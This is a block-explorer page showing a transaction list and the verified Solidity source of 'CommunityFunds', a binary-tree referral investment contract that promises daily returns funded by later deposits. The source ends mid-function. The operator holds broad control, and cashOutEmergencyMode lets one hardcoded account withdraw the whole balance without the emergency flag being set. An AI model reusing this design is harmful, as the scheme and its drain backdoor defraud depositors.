Contract 0x7fc75bbce8c0245f96784f5cb6c929a27de384f1

Contract Overview

Balance:
0 Ether
TxHash Block Age From To Value [TxFee]
0x1e078635e3059f0205c1010cbeaa0e2fe4f494b36dc9a2425c8379ce014508313155375159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287679
0x5cca17f2b750fe5322f3ae45227ee98020985799c83a0f1c50d410f344c736b93155373159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287487
0xef987045e79b7467ac6511dfb7535e6b241e0d110c2ef9591da2dc91c491fe4a3155372159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.02877
0x65e8c50075418a9467cf86701f5161e3d26108bd20b0d54626357efe35defdca3155371159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287679
0x2ae4c6f4b088caa360e6c9fc48e9b61089f128c2f338ac3d230dd6aabaa2f6613155370159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287828
0xa5235f0e9042f2f8f3252d301993aeb0f480994dd9a4549e2aeb7d6e8c26db3e3155369159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287679
0x1b7eea709d5229d10097ad033a828a6f8eb8782581d10681fe3ea90d42892bbf3155368159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.02877
0x3a3325dafd80451fddc1bcc2e5907ce74cd4847cec1a95ce4cfa3dfce29272503155367159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0302615
0x3a7a8555d5af7647c4153f1c7c90990117c03e82cd27a556e3dffd6cd4c930673155366159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287764
0xc0906e73747bd222e885ff607c7ae76b68d63f36564c5fd5bc4d34d94a5cb9ef3155365159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0302295
0x47c80f5fd00304ad4fe93c85d986c64211eb268a3343fc3587a7e11115adbac53155364159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287871
0xd47a61c12423954c99e745ba8051c9f5930894f2350ad7897bf1d83459b94cd43155363159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287615
0xc7afe1f226d098deea4f64a7a8d62e3d2dd5ed75cddc7ca9a3fa3c05d790da093155362159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287743
0xab860906b96394d2ebc30e23d2ec3111279e7f3ff2ec846a4de8bf38d83e3beb3155361159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287636
0x84ca84fac9f1018dce7d7d4ed06b3070deb1f9e4ea53fe54c4f770a52f584c343155360159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287551
0x839d785aedc7ae99dfbabc413fd7a2c022ed49d3331cc64bc1362cf442b1385c3155359159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287636
0xd9446b860671b47507e0bf3f440c843640403196eec0e78b6ab3d7e1f5f960723155358159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0302679
0x52dd5752a1300db64cc3d83a41144c6e0aba5a0adfbf27b4da76e4eb208208b73155357159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287423
0x6fbfa22b07b4524105033e36ee7090051da974ee2413b72040dde895123638ac3155356159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287359
0xfefe74b126e57e2b4dfc34f8c2adadeb024f1ceb5b53d88dee1c718d35154bad3155355159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287892
0x8c2ca1340c1e36195b5f9c2e84da293122840a6ac273f98a418214dca51b75903155354159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287487
0x676e85e4dac7447e48ff9136d2b1586d265bfaca292587c445b5fe9b047a04893155353159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287295
0xf6e81463a3506b198392201a658fe4ca901bb1e3bcf86357ce66c7c4cbdaca9e3155352159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287636
0x0c821c3838769c76c6a1c9c74a22b2d1b8c254fe25b86d498bedd7f949905c733155351159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287743
0xe123973b225bb025af82015b1b5923555481b47e5d054b0a15eb6e067be99b9f3155350159 days 9 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6 IN  0x7fc75bbce8c0245f96784f5cb6c929a27de384f10 Ether0.0287764
[ Download CSV Export 

Internal Transactions as a result of Contract Execution

Parent TxHash Block Age From To Value

Contract Source Code Verified (Similar Match)
Note: This contract matches the deployed ByteCode of the Verified Source Code for Contract 0x45abc379c92e3e086ee1895ada2b6a916730fa8c

Contract Name:
CommunityFunds

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes

Runs (Optimizer):
200

Contract Source Code

pragma solidity ^0.4.23;

// 10/10

contract CommunityFunds {
    event MaxOut (address investor, uint256 times, uint256 at);
    // change OND_DAY to 86400
    uint256 public constant ONE_DAY = 600;
    address private admin;
    uint256 private depositedAmountGross = 0;
    uint256 private paySystemCommissionTimes = 1;
    uint256 private payDailyIncomeTimes = 1;
    uint256 private lastPaySystemCommission = now;
    uint256 private lastPayDailyIncome = now;
    uint256 private contractStartAt = now;
    uint256 private lastReset = now;
    // TODO change fund addresses
    address private operationFund = 0x98c3F04e1aa7d9Ae1CBE8f07a9084655694962E6;
    address private developmentFund = 0x95f8af828bDDAd4786f5041F3aE87655C45B97EE;
    address private reserveFund = 0xDEfB0efC618245aD90c04b8b5072553d157368c8;
    address private emergencyAccount = 0x005da4a36b2df3432fd24eaba5ce58eeadc2d70d0e;
    bool private emergencyMode = false;
    mapping (address => Investor) investors;
    address[] public investorAddresses;
    mapping (bytes32 => Investment) investments;
    mapping (bytes32 => Withdrawal) withdrawals;
    bytes32[] private investmentIds;
    bytes32[] private withdrawalIds;

    uint256 maximumMaxOutInWeek = 4;
    
    struct Investment {
        bytes32 id;
        uint256 at;
        uint256 amount;
        address investor;
    }

    struct Withdrawal {
        bytes32 id;
        uint256 at;
        uint256 amount;
        address investor;
        address presentee;
        uint256 reason;
        uint256 times;
    }

    /*
        reason 1: DIRECT COMMISSION
        reason 2: DAILY COMMISSION
        reason 3: SYSTEM COMMISSION
        reason 4: RESERVE COMMISSION
        reason 5: TEST COMMISSION
        reason 6: END GAME
    */

    struct Investor {
        string email;
        address parent;
        address leftChild;
        address rightChild;
        address presenter;
        uint256 generation;
        address[] presentees;
        uint256 depositedAmount;
        uint256 withdrewAmount;
        bool isDisabled;
        uint256 lastMaxOut;
        uint256 maxOutTimes;
        uint256 maxOutTimesInWeek;
        uint256 totalSell;
        uint256 sellThisMonth;
        bytes32[] investments;
        bytes32[] withdrawals;
        uint256 rightSell;
        uint256 leftSell;
        uint256 reserveCommission;
        uint256 dailyIncomeWithrewAmount;
    }

    constructor () public { admin = msg.sender; }
    
    modifier mustBeAdmin() { require(msg.sender == admin); _; }    
    
    function () payable public { deposit(); }
    
    // deposit and withdraw
    
    function deposit() payable public {
        require(msg.value >= 0.2 ether);
        Investor storage investor = investors[msg.sender];
        // must be registered investor
        require(investor.generation != 0);
        require(investor.maxOutTimesInWeek < maximumMaxOutInWeek);
        require(investor.maxOutTimes <= 200);
        // TODO: change ONE_DAY * 2 to ONE_DAY * 7
        require(investor.maxOutTimes == 0 || now - investor.lastMaxOut < ONE_DAY * 7 || investor.depositedAmount != 0);
        depositedAmountGross += msg.value;
        bytes32 id = keccak256(abi.encodePacked(block.number, now, msg.sender, msg.value));
        uint256 investmentValue = investor.depositedAmount + msg.value <= 10 ether ? msg.value : 10 ether - investor.depositedAmount;
        if (investmentValue == 0) return;
        Investment memory investment = Investment({ id: id, at: now, amount: investmentValue, investor: msg.sender });
        investments[id] = investment;
        processInvestments(id);
        investmentIds.push(id);
    }
    
    function processInvestments(bytes32 investmentId) internal {
        Investment storage investment = investments[investmentId];
        uint256 amount = investment.amount;
        Investor storage investor = investors[investment.investor];
        investor.investments.push(investmentId);
        investor.depositedAmount += amount;
        // neu la root user thi ko co presenter
        addSellForParents(investment.investor, amount);
        address presenterAddress = investor.presenter;
        Investor storage presenter = investors[presenterAddress];
        if (presenterAddress != 0) {
            presenter.totalSell += amount;
            presenter.sellThisMonth += amount;
        }
        if (presenter.depositedAmount >= 0.2 ether && !presenter.isDisabled) {
            sendEtherForInvestor(presenterAddress, amount / 10, 1, investment.investor, 0);
        }
    }

    function addSellForParents(address investorAddress, uint256 amount) internal {
        Investor memory investor = investors[investorAddress];
        address currentParentAddress = investor.parent;
        address currentInvestorAddress = investorAddress;
        uint256 loopCount = investor.generation - 1;
        for(uint256 i = 0; i < loopCount; i++) {
            Investor storage parent = investors[currentParentAddress];
            if (parent.leftChild == currentInvestorAddress) parent.leftSell += amount;
            else parent.rightSell += amount;
            uint256 incomeTilNow = getAllIncomeTilNow(currentParentAddress);
            if (incomeTilNow > 3 * parent.depositedAmount) {
                payDailyIncomeForInvestor(currentParentAddress, 0);
                paySystemCommissionInvestor(currentParentAddress, 0);
            }
            currentInvestorAddress = currentParentAddress;
            currentParentAddress = parent.parent;
        }
    }

    function sendEtherForInvestor(address investorAddress, uint256 value, uint256 reason, address presentee, uint256 times) internal {
        if (value == 0 || investorAddress == 0) return;
        Investor storage investor = investors[investorAddress];
        if (investor.reserveCommission > 0) {
            bool isPass = investor.reserveCommission >= 3 * investor.depositedAmount;
            uint256 reserveCommission = isPass ? investor.reserveCommission + value : investor.reserveCommission;
            investor.reserveCommission = 0;
            sendEtherForInvestor(investorAddress, reserveCommission, 4, 0, 0);
            if (isPass) return;
        }
        uint256 withdrewAmount = investor.withdrewAmount;
        uint256 depositedAmount = investor.depositedAmount;
        uint256 amountToPay = value;
        if (withdrewAmount + value >= 3 * depositedAmount) {
            amountToPay = 3 * depositedAmount - withdrewAmount;
            investor.reserveCommission = value - amountToPay;
            if (reason != 2) investor.reserveCommission += getDailyIncomeForUser(investorAddress);
            if (reason != 3) investor.reserveCommission += getUnpaidSystemCommission(investorAddress);
            investor.maxOutTimes++;
            investor.maxOutTimesInWeek++;
            investor.depositedAmount = 0;
            investor.withdrewAmount = 0;
            investor.lastMaxOut = now;
            investor.dailyIncomeWithrewAmount = 0;
            emit MaxOut(investorAddress, investor.maxOutTimes, now);
        } else {
            investors[investorAddress].withdrewAmount += amountToPay;
        }
        if (amountToPay != 0) {
            investorAddress.transfer(amountToPay / 100 * 90);
            operationFund.transfer(amountToPay / 100 * 4);
            developmentFund.transfer(amountToPay / 100 * 1);
            reserveFund.transfer(amountToPay / 100 * 5);
            bytes32 id = keccak256(abi.encodePacked(block.difficulty, now, investorAddress, amountToPay, reason));
            Withdrawal memory withdrawal = Withdrawal({ id: id, at: now, amount: amountToPay, investor: investorAddress, presentee: presentee, times: times, reason: reason });
            withdrawals[id] = withdrawal;
            investor.withdrawals.push(id);
            withdrawalIds.push(id);
        }
    }


    function getAllIncomeTilNow(address investorAddress) internal view returns(uint256 allIncome) {
        Investor memory investor = investors[investorAddress];
        uint256 unpaidDailyIncome = getDailyIncomeForUser(investorAddress);
        uint256 withdrewAmount = investor.withdrewAmount;
        uint256 unpaidSystemCommission = getUnpaidSystemCommission(investorAddress);
        uint256 allIncomeNow = unpaidDailyIncome + withdrewAmount + unpaidSystemCommission;
        return allIncomeNow;
    }

    // Get info

    function getContractInfo() public view returns (address _admin, uint256 _depositedAmountGross, address _developmentFund, address _operationFund, address _reserveFund, address _emergencyAccount, bool _emergencyMode, address[] _investorAddresses, uint256 balance, uint256 _paySystemCommissionTimes, uint256 _maximumMaxOutInWeek) {
        return (admin, depositedAmountGross, developmentFund, operationFund, reserveFund, emergencyAccount, emergencyMode, investorAddresses, address(this).balance, paySystemCommissionTimes, maximumMaxOutInWeek);
    }
    
    function getContractTime() public view returns(uint256 _contractStartAt, uint256 _lastReset, uint256 _oneDay, uint256 _lastPayDailyIncome, uint256 _lastPaySystemCommission) {
        return (contractStartAt, lastReset, ONE_DAY, lastPayDailyIncome, lastPaySystemCommission);
    }
    
    function getInvestorRegularInfo(address investorAddress) public view returns (string email, uint256 generation, uint256 rightSell, uint256 leftSell, uint256 reserveCommission, uint256 depositedAmount, uint256 withdrewAmount, bool isDisabled) {
        Investor memory investor = investors[investorAddress];
        return (
            investor.email,
            investor.generation,
            investor.rightSell,
            investor.leftSell,
            investor.reserveCommission,
            investor.depositedAmount,
            investor.withdrewAmount,
            investor.isDisabled
        );
    }
    
    function getInvestorAccountInfo(address investorAddress) public view returns (uint256 maxOutTimes, uint256 maxOutTimesInWeek, uint256 totalSell, bytes32[] investorIds, uint256 dailyIncomeWithrewAmount, uint256 unpaidSystemCommission, uint256 unpaidDailyIncome) {
        Investor memory investor = investors[investorAddress];
        return (
            investor.maxOutTimes,
            investor.maxOutTimesInWeek,
            investor.totalSell,
            investor.investments,
            investor.dailyIncomeWithrewAmount,
            getUnpaidSystemCommission(investorAddress),
            getDailyIncomeForUser(investorAddress)
        ); 
    }
    
    function getInvestorTreeInfo(address investorAddress) public view returns (address leftChild, address rightChild, address parent, address presenter, uint256 sellThisMonth, uint256 lastMaxOut) {
        Investor memory investor = investors[investorAddress];
        return (
            investor.leftChild,
            investor.rightChild,
            investor.parent,
            investor.presenter,
            investor.sellThisMonth,
            investor.lastMaxOut
        );
    }
    
    function getWithdrawalsByTime(address investorAddress, uint256 start, uint256 end)public view returns(bytes32[] ids, uint256[] ats, uint256[] amounts, address[] presentees, uint256[] reasons, uint256[] times, bytes32[] emails) {
        ids = new bytes32[](withdrawalIds.length);
        ats = new uint256[](withdrawalIds.length);
        amounts = new uint256[](withdrawalIds.length);
        emails = new bytes32[](withdrawalIds.length);
        presentees = new address[](withdrawalIds.length);
        reasons = new uint256[](withdrawalIds.length);
        times = new uint256[](withdrawalIds.length);
        uint256 index = 0;
        for (uint256 i = 0; i < withdrawalIds.length; i++) {
            bytes32 id = withdrawalIds[i];
            if (withdrawals[id].at < start || withdrawals[id].at > end) continue;
            if (investorAddress != 0 && withdrawals[id].investor != investorAddress) continue;
            ids[index] = id; 
            ats[index] = withdrawals[id].at;
            amounts[index] = withdrawals[id].amount;
            emails[index] = stringToBytes32(investors[withdrawals[id].investor].email);
            reasons[index] = withdrawals[id].reason;
            times[index] = withdrawals[id].times;
            presentees[index] = withdrawals[id].presentee;
            index++;
        }
        return (ids, ats, amounts, presentees, reasons, times, emails);
    }
    
    function getInvestmentsByTime(address investorAddress, uint256 start, uint256 end)public view returns(bytes32[] ids, uint256[] ats, uint256[] amounts, bytes32[] emails) {
        ids = new bytes32[](investmentIds.length);
        ats = new uint256[](investmentIds.length);
        amounts = new uint256[](investmentIds.length);
        emails = new bytes32[](investmentIds.length);
        uint256 index = 0;
        for (uint256 i = 0; i < investmentIds.length; i++) {
            bytes32 id = investmentIds[i];
            if (investorAddress != 0 && investments[id].investor != investorAddress) continue;
            if (investments[id].at < start || investments[id].at > end) continue;
            ids[index] = id;
            ats[index] = investments[id].at;
            amounts[index] = investments[id].amount;
            emails[index] = stringToBytes32(investors[investments[id].investor].email);
            index++;
        }
        return (ids, ats, amounts, emails);
    }

    function getNodesAddresses(address rootNodeAddress) internal view returns(address[]){
        uint256 maxLength = investorAddresses.length;
        address[] memory nodes = new address[](maxLength);
        nodes[0] = rootNodeAddress;
        uint256 processIndex = 0;
        uint256 nextIndex = 1;
        while (processIndex != nextIndex) {
            Investor memory currentInvestor = investors[nodes[processIndex++]];
            if (currentInvestor.leftChild != 0) nodes[nextIndex++] = currentInvestor.leftChild;
            if (currentInvestor.rightChild != 0) nodes[nextIndex++] = currentInvestor.rightChild;
        }
        return nodes;
    }

    function stringToBytes32(string source) internal pure returns (bytes32 result) {
        bytes memory tempEmptyStringTest = bytes(source);
        if (tempEmptyStringTest.length == 0) return 0x0;
        assembly { result := mload(add(source, 32)) }
    }

    function getInvestorTree(address rootInvestor) public view returns(address[] nodeInvestors, bytes32[] emails, uint256[] leftSells, uint256[] rightSells, address[] parents, uint256[] generations, uint256[] deposits){
        nodeInvestors = getNodesAddresses(rootInvestor);
        uint256 length = nodeInvestors.length;
        leftSells = new uint256[](length);
        rightSells = new uint256[](length);
        emails = new bytes32[] (length);
        parents = new address[] (length);
        generations = new uint256[] (length);
        deposits = new uint256[] (length);
        for (uint256 i = 0; i < length; i++) {
            Investor memory investor = investors[nodeInvestors[i]];
            parents[i] = investor.parent;
            string memory email = investor.email;
            emails[i] = stringToBytes32(email);
            leftSells[i] = investor.leftSell;
            rightSells[i] = investor.rightSell;
            generations[i] = investor.generation;
            deposits[i] = investor.depositedAmount;
        }
        return (nodeInvestors, emails, leftSells, rightSells, parents, generations, deposits);
    }

    function getListInvestor() public view returns (address[] nodeInvestors, bytes32[] emails, uint256[] unpaidSystemCommissions, uint256[] unpaidDailyIncomes, uint256[] depositedAmounts, uint256[] withdrewAmounts, bool[] isDisableds) {
        uint256 length = investorAddresses.length;
        unpaidSystemCommissions = new uint256[](length);
        unpaidDailyIncomes = new uint256[](length);
        emails = new bytes32[] (length);
        depositedAmounts = new uint256[] (length);
        unpaidSystemCommissions = new uint256[] (length);
        isDisableds = new bool[] (length);
        unpaidDailyIncomes = new uint256[] (length); 
        withdrewAmounts = new uint256[](length);
        for (uint256 i = 0; i < length; i++) {
            Investor memory investor = investors[investorAddresses[i]];
            depositedAmounts[i] = investor.depositedAmount;
            string memory email = investor.email;
            emails[i] = stringToBytes32(email);
            withdrewAmounts[i] = investor.withdrewAmount;
            isDisableds[i] = investor.isDisabled;
            unpaidSystemCommissions[i] = getUnpaidSystemCommission(investorAddresses[i]);
            unpaidDailyIncomes[i] = getDailyIncomeForUser(investorAddresses[i]);
        }
        return (investorAddresses, emails, unpaidSystemCommissions, unpaidDailyIncomes, depositedAmounts, withdrewAmounts, isDisableds);
    }
    
    function getMaxOutUser() public view returns (address[] nodeInvestors, uint256[] unpaidSystemCommissions, uint256[] unpaidDailyIncomes, uint256[] depositedAmounts, uint256[] withdrewAmounts, uint256[] reserveCommissions) {
        uint256 length = investorAddresses.length;
        unpaidSystemCommissions = new uint256[](length);
        unpaidDailyIncomes = new uint256[](length);
        depositedAmounts = new uint256[] (length);
        unpaidSystemCommissions = new uint256[] (length);
        reserveCommissions = new uint256[] (length);
        unpaidDailyIncomes = new uint256[] (length); 
        withdrewAmounts = new uint256[](length);
        for (uint256 i = 0; i < length; i++) {
            Investor memory investor = investors[investorAddresses[i]];
            depositedAmounts[i] = investor.depositedAmount;
            withdrewAmounts[i] = investor.withdrewAmount;
            reserveCommissions[i] = investor.reserveCommission;
            unpaidSystemCommissions[i] = getUnpaidSystemCommission(investorAddresses[i]);
            unpaidDailyIncomes[i] = getDailyIncomeForUser(investorAddresses[i]);
        }
        return (investorAddresses, unpaidSystemCommissions, unpaidDailyIncomes, depositedAmounts, withdrewAmounts, reserveCommissions);
    }
    // Put tree

    function putPresentee(address presenterAddress, address presenteeAddress, address parentAddress, string presenteeEmail, bool isLeft) public mustBeAdmin {
        Investor storage presenter = investors[presenterAddress];
        Investor storage parent = investors[parentAddress];
        if (investorAddresses.length != 0) {
            require(presenter.generation != 0);
            require(parent.generation != 0);
            if (isLeft) {
                require(parent.leftChild == 0); 
            } else {
                require(parent.rightChild == 0); 
            }
        }
        // investor dau tien khong co presenter, thi khong them vao mang presentees
        if (presenter.generation != 0) presenter.presentees.push(presenteeAddress);
        Investor memory investor = Investor({
            email: presenteeEmail,
            parent: parentAddress,
            leftChild: 0,
            rightChild: 0,
            presenter: presenterAddress,
            generation: parent.generation + 1, // neu khong co presenter, presenter.generation = 0
            presentees: new address[](0),
            depositedAmount: 0,
            withdrewAmount: 0,
            isDisabled: false,
            lastMaxOut: now,
            maxOutTimes: 0,
            maxOutTimesInWeek: 0,
            totalSell: 0,
            sellThisMonth: 0,
            investments: new bytes32[](0),
            withdrawals: new bytes32[](0),
            rightSell: 0,
            leftSell: 0,
            reserveCommission: 0,
            dailyIncomeWithrewAmount: 0
        });
        investors[presenteeAddress] = investor;
        // neu khong co parent thi thoi
        investorAddresses.push(presenteeAddress);
        if (parent.generation == 0) return;
        if (isLeft) {
            parent.leftChild = presenteeAddress;
        } else {
            parent.rightChild = presenteeAddress;
        }
    }

    // Pay daily income

    function getDailyIncomeForUser(address investorAddress) internal view returns(uint256 amount) {
        Investor memory investor = investors[investorAddress];
        uint256 investmentLength = investor.investments.length;
        uint256 dailyIncome = 0;
        for (uint256 i = 0; i < investmentLength; i++) {
            Investment memory investment = investments[investor.investments[i]];
            if (investment.at < investor.lastMaxOut) continue; 
            if (now - investment.at >= ONE_DAY) {
                uint256 numberOfDay = (now - investment.at) / ONE_DAY;
                uint256 totalDailyIncome = numberOfDay * investment.amount / 100;
                dailyIncome = totalDailyIncome + dailyIncome;
            }
        }
        return dailyIncome - investor.dailyIncomeWithrewAmount;
    }
    
    function payDailyIncomeForInvestor(address investorAddress, uint256 times) public mustBeAdmin {
        uint256 dailyIncome = getDailyIncomeForUser(investorAddress);
        investors[investorAddress].dailyIncomeWithrewAmount += dailyIncome;
        sendEtherForInvestor(investorAddress, dailyIncome, 2, 0, times);
    }
    
    function payDailyIncomeByIndex(uint256 from, uint256 to) public mustBeAdmin{
        require(from >= 0 && to < investorAddresses.length);
        for(uint256 i = from; i <= to; i++) {
            payDailyIncomeForInvestor(investorAddresses[i], payDailyIncomeTimes);
        }
    }
    
    // Pay system commission

    function getTotalSellLevel(uint256 totalSell) internal pure returns (uint256 level){
        if (totalSell < 30 ether) return 0;
        if (totalSell < 60 ether) return 1;
        if (totalSell < 90 ether) return 2;
        if (totalSell < 120 ether) return 3;
        if (totalSell < 150 ether) return 4;
        return 5;
    }
    
    function getSellThisMonthLevel(uint256 sellThisMonth) internal pure returns (uint256 level){
        if (sellThisMonth < 2 ether) return 0;
        if (sellThisMonth < 4 ether) return 1;
        if (sellThisMonth < 6 ether) return 2;
        if (sellThisMonth < 8 ether) return 3;
        if (sellThisMonth < 10 ether) return 4;
        return 5;
    }
    
    function getDepositLevel(uint256 sellThisMonth) internal pure returns (uint256 level){
        if (sellThisMonth < 2 ether) return 0;
        if (sellThisMonth < 4 ether) return 1;
        if (sellThisMonth < 6 ether) return 2;
        if (sellThisMonth < 8 ether) return 3;
        if (sellThisMonth < 10 ether) return 4;
        return 5;
    }
    
    function getPercentage(uint256 depositedAmount, uint256 totalSell, uint256 sellThisMonth) internal pure returns(uint256 level) {
        uint256 totalSellLevel = getTotalSellLevel(totalSell);
        uint256 depLevel = getDepositLevel(depositedAmount);
        uint256 sellThisMonthLevel = getSellThisMonthLevel(sellThisMonth);
        uint256 min12 = totalSellLevel < depLevel ? totalSellLevel : depLevel;
        uint256 minLevel = sellThisMonthLevel < min12 ? sellThisMonthLevel : min12;
        return minLevel * 2;
    }

    function getUnpaidSystemCommission(address investorAddress) public view returns(uint256 unpaid) {
        Investor memory investor = investors[investorAddress];
        uint256 depositedAmount = investor.depositedAmount;
        uint256 totalSell = investor.totalSell;
        uint256 leftSell = investor.leftSell;
        uint256 rightSell = investor.rightSell;
        uint256 sellThisMonth = investor.sellThisMonth;
        uint256 sellToPaySystemCommission = rightSell < leftSell ? rightSell : leftSell;
        uint256 commission = sellToPaySystemCommission * getPercentage(depositedAmount, totalSell, sellThisMonth) / 100;
        return commission;
    }
    
    function paySystemCommissionInvestor(address investorAddress, uint256 times) public mustBeAdmin {
        Investor storage investor = investors[investorAddress];
        if (investor.isDisabled) return;
        uint256 systemCommission = getUnpaidSystemCommission(investorAddress);
        if (paySystemCommissionTimes > 3 && times != 0) {
            investor.rightSell = 0;
            investor.leftSell = 0;
        } else if (investor.rightSell >= investor.leftSell) {
            investor.rightSell = investor.rightSell - investor.leftSell;
            investor.leftSell = 0;
        } else {
            investor.leftSell = investor.leftSell - investor.rightSell;
            investor.rightSell = 0;
        }
        if (times != 0) investor.sellThisMonth = 0;
        sendEtherForInvestor(investorAddress, systemCommission, 3, 0, times);
    }

    function paySystemCommissionByIndex(uint256 from, uint256 to) public mustBeAdmin {
         require(from >= 0 && to < investorAddresses.length);
        // change 1 to 30
        if (now <= 30 * ONE_DAY + contractStartAt) return;
        for(uint256 i = from; i <= to; i++) {
            paySystemCommissionInvestor(investorAddresses[i], paySystemCommissionTimes);
        }
     }


    function finishPayDailyIncome() public mustBeAdmin {
        lastPayDailyIncome = now;
        payDailyIncomeTimes++;
    }
    
    function finishPaySystemCommission() public mustBeAdmin {
        lastPaySystemCommission = now;
        paySystemCommissionTimes++;
    }

    // ememergency mode

    function turnOnEmergencyMode() public mustBeAdmin { emergencyMode = true; }

    function cashOutEmergencyMode() public {
        require(msg.sender == emergencyAccount);
        msg.sender.transfer(address(this).balance);
    }
    
    // reset functions
    
    function resetGame(address[] yesInvestors, address[] noInvestors) public mustBeAdmin {
        lastReset = now;
        uint256 yesInvestorsLength = yesInvestors.length;
        for (uint256 i = 0; i < yesInvestorsLength; i++) {
            address yesInvestorAddress = yesInvestors[i];
            Investor storage yesInvestor = investors[yesInvestorAddress];
            if (yesInvestor.maxOutTimes > 0 || (yesInvestor.withdrewAmount >= yesInvestor.depositedAmount && yesInvestor.withdrewAmount != 0)) {
                yesInvestor.lastMaxOut = now;
                yesInvestor.depositedAmount = 0;
                yesInvestor.withdrewAmount = 0;
                yesInvestor.dailyIncomeWithrewAmount = 0;
            }
            yesInvestor.reserveCommission = 0;
            yesInvestor.rightSell = 0;
            yesInvestor.leftSell = 0;
            yesInvestor.totalSell = 0;
            yesInvestor.sellThisMonth = 0;
        }
        uint256 noInvestorsLength = noInvestors.length;
        for (uint256 j = 0; j < noInvestorsLength; j++) {
            address noInvestorAddress = noInvestors[j];
            Investor storage noInvestor = investors[noInvestorAddress];
            if (noInvestor.maxOutTimes > 0 || (noInvestor.withdrewAmount >= noInvestor.depositedAmount && noInvestor.withdrewAmount != 0)) {
                noInvestor.isDisabled = true;
                noInvestor.reserveCommission = 0;
                noInvestor.lastMaxOut = now;
                noInvestor.depositedAmount = 0;
                noInvestor.withdrewAmount = 0;
                noInvestor.dailyIncomeWithrewAmount = 0;
            }
            noInvestor.reserveCommission = 0;
            noInvestor.rightSell = 0;
            noInvestor.leftSell = 0;
            noInvestor.totalSell = 0;
            noInvestor.sellThisMonth = 0;
        }
    }

    function getTotalUnder100Quantity() public view returns(uint256 under) {
        uint256 under100Quantity = 0;
        uint256 length = investorAddresses.length;
        for (uint256 i = 0; i < length; i++) {
            Investor storage investor = investors[investorAddresses[i]];
            if (investor.maxOutTimes > 0) continue;
            uint256 depositedAmount = investor.depositedAmount;
            uint256 withdrewAmount = investor.withdrewAmount;
            if (withdrewAmount >= depositedAmount) continue;
            under100Quantity += (depositedAmount - withdrewAmount);
        }
        return under100Quantity;
    }

    function stopGame() mustBeAdmin public {
        uint256 under100Quantity = getTotalUnder100Quantity();
        uint256 length = investorAddresses.length;
        uint256 balance = address(this).balance;
        for (uint256 i = 0; i < length; i++) {
            address investorAddress = investorAddresses[i];
            Investor storage investor = investors[investorAddress];
            if (investor.maxOutTimes > 0) continue;
            uint256 depositedAmount = investor.depositedAmount;
            uint256 withdrewAmount = investor.withdrewAmount;
            if (withdrewAmount >= depositedAmount) continue;
            sendEtherForInvestor(investorAddress, (depositedAmount - withdrewAmount) * balance / under100Quantity, 6, 0, 0);
        }
    }
    
    function revivalInvestor(address investor) public mustBeAdmin { investors[investor].lastMaxOut = now; }

    // 300 % daily

    function specifyGame(address user, uint256 totalSell, uint256 sellThisMonth, uint256 rightSell, uint256 leftSell) public mustBeAdmin {
        Investor storage investor = investors[user];
        require(investor.generation > 0);
        investor.totalSell = totalSell;
